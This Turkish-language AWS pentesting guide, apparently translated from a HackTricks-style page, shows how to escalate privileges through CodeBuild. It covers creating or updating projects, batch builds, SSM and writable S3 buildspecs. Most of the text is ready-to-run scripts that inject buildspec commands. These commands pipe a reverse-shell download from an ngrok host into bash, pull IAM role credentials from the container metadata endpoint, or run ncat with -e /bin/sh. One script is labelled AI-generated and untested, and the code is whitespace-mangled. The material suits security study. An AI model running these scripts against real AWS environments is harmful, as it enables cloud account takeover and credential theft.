StartBuild, belirli bir buildspec.yml kullanarak tek bir derleme işini tetikler.
StartBuildBatch, daha karmaşık yapılandırmalarla (birden fazla derlemeyi paralel olarak çalıştırmak gibi) bir derleme grubunu başlatmanıza olanak tanır.
Olası Etki: Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
iam:PassRole, codebuild:CreateProject ve codebuild:StartBuild veya codebuild:StartBuildBatch izinlerine sahip bir saldırgan, çalışan bir tane oluşturarak herhangi bir codebuild IAM rolüne yetki yükseltebilir.
# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"JSON="{\"name\": \"codebuild-demo-project\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"REV_PATH="/tmp/rev.json"printf"$JSON"> $REV_PATH# Create projectawscodebuildcreate-project--cli-input-jsonfile://$REV_PATH# Build itawscodebuildstart-build--project-namecodebuild-demo-project# Wait 3-4 mins until it's executed# Then you can access the logs in the console to find the AWS role token in the output# Delete the projectawscodebuilddelete-project--namecodebuild-demo-project
# Generated by AI, not tested# Create a buildspec.yml file with reverse shell commandecho'version: 0.2phases:build:commands:- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash'>buildspec.yml# Upload the buildspec to the bucket and give access to everyoneawss3cpbuildspec.ymls3:<S3_BUCKET_NAME>/buildspec.yml# Create a new CodeBuild project with the buildspec.yml fileawscodebuildcreate-project--namereverse-shell-project--sourcetype=S3,location=<S3_BUCKET_NAME>/buildspec.yml--artifactstype=NO_ARTIFACTS--environmentcomputeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER--service-role<YOUR_HIGH_PRIVILEGE_ROLE_ARN>--timeout-in-minutes60# Start a build with the new projectawscodebuildstart-build--project-namereverse-shell-project
Olası Etki: Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme.
Bir Codebuild konteynerinde/codebuild/output/tmp/env.sh dosyası, metadata kimlik bilgilerine erişmek için gereken tüm ortam değişkenlerini içerir.
Bu dosya, kimlik bilgilerine erişim için URL yolu içeren AWS_CONTAINER_CREDENTIALS_RELATIVE_URI ortam değişkenini içerir. Bu, /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420 gibi bir şey olacaktır.
Bunu http://169.254.170.2/ URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemini gerçekleştirebilirsiniz.
Ayrıca, konteyner hakkında metadata bilgilerini almak için tam URL'yi içeren ECS_CONTAINER_METADATA_URI ortam değişkenini de içerir.
Önceki bölümde olduğu gibi, bir derleme projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz.
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"aws/codebuild/standard:1.0\",\"computeType\": \"BUILD_GENERAL1_SMALL\"},\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"}"printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
Olası Etki: Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme.
Önceki bölümdeki gibi ancak iam:PassRole izni olmadan, bu izinleri mevcut Codebuild projelerini değiştirmek ve zaten atanmış olan role erişmek için kötüye kullanabilirsiniz.
REV_PATH="/tmp/codebuild_pwn.json"# Enumerate then env and get credsREV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"JSON="{\"name\": \"<codebuild-demo-project>\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\"},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!printf"$JSON"> $REV_PATHawscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build--project-namecodebuild-demo-project
REV_PATH="/tmp/codebuild_pwn.json"# Get rev shellREV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"# You need to indicate the name of the project you want to modifyJSON="{\"name\": \"project_name\",\"source\": {\"type\": \"NO_SOURCE\",\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\"
},\"artifacts\": {\"type\": \"NO_ARTIFACTS\"},\"environment\": {\"type\": \"LINUX_CONTAINER\",\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",\"computeType\": \"BUILD_GENERAL1_SMALL\",\"imagePullCredentialsType\": \"CODEBUILD\"}}"printf"$JSON"> $REV_PATH# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!awscodebuildupdate-project--cli-input-jsonfile://$REV_PATHawscodebuildstart-build-batch--project-namecodebuild-demo-project
Olası Etki: Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme.
SSM
Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak durumunda, inşa edilen bir Codebuild projesinin içine girmek mümkündür.
Codebuild projesinin bir kesme noktası olması gerekecek:
Belirli bir CodeBuild projesinin bir derlemesini başlatabilen/yeniden başlatabilen bir saldırgan, buildspec.yml dosyasını yazma erişimine sahip olduğu bir S3 kovasında depoluyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
Not: Yükseltme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
awss3cps3://<build-configuration-files-bucket>/buildspec.yml./vim./buildspec.yml# Add the following lines in the "phases > pre_builds > commands" section## - apt-get install nmap -y# - ncat <IP> <PORT> -e /bin/shawss3cp./buildspec.ymls3://<build-configuration-files-bucket>/buildspec.ymlawscodebuildstart-build--project-name<project-name># Wait for the reverse shell :)
Aşağıdaki gibi bir buildspec kullanarak reverse shell alabilirsiniz:
Etkisi: Genellikle yüksek ayrıcalıklara sahip olan AWS CodeBuild işçisi tarafından kullanılan role doğrudan ayrıcalık yükseltme.
Buildspec'in zip formatında beklenebileceğini unutmayın, bu nedenle bir saldırganın buildspec.yml dosyasını indirmesi, açması, kök dizinden değiştirmesi, tekrar ziplemesi ve yüklemesi gerekecektir.